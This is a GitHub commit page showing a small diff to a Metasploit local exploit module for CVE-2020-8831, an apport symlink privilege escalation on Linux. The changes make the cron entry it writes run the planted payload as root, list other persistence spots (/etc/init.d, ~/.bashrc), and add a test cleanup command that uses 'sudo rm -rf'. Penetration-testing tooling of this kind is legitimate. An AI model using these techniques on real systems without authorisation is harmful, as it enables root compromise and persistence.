Skip to content

Commit 68de77e

Browse files
committed
Add /etc/ to cron dir
1 parent 8cef31f commit 68de77e

File tree

1 file changed

+6
-2
lines changed

1 file changed

+6
-2
lines changed

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,9 @@ class MetasploitModule < Msf::Exploit::Local
1313
include Msf::Exploit::EXE
1414

1515
def initialize(info = {})
16+
# other places besides crontab
17+
# /etc/init.d
18+
# ~/.bashrc
1619
super(
1720
update_info(
1821
info,
@@ -72,7 +75,7 @@ def initialize(info = {})
7275
def check
7376
# If you are testing the module apport needs to be reinstalled on boot every time with
7477
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
75-
# sudo rm -rf /var/lock/apport/ -> must be run after each subsequent test!
78+
# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test!
7679
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
7780

7881
# Check apport version
@@ -141,8 +144,9 @@ def write_payload
141144

142145
def write_cron
143146
cron_interval = datastore['CRON_INTERVAL']
144-
data = "#{cron_interval} #{@payload_dest}"
147+
data = "#{cron_interval} root #{@payload_dest}\n"
145148
write_file(@cron, data)
149+
# crontab won't execute as root if group/other is writable
146150
print_good "Successfully wrote crontab!"
147151
end
148152

0 commit comments

Comments
 (0)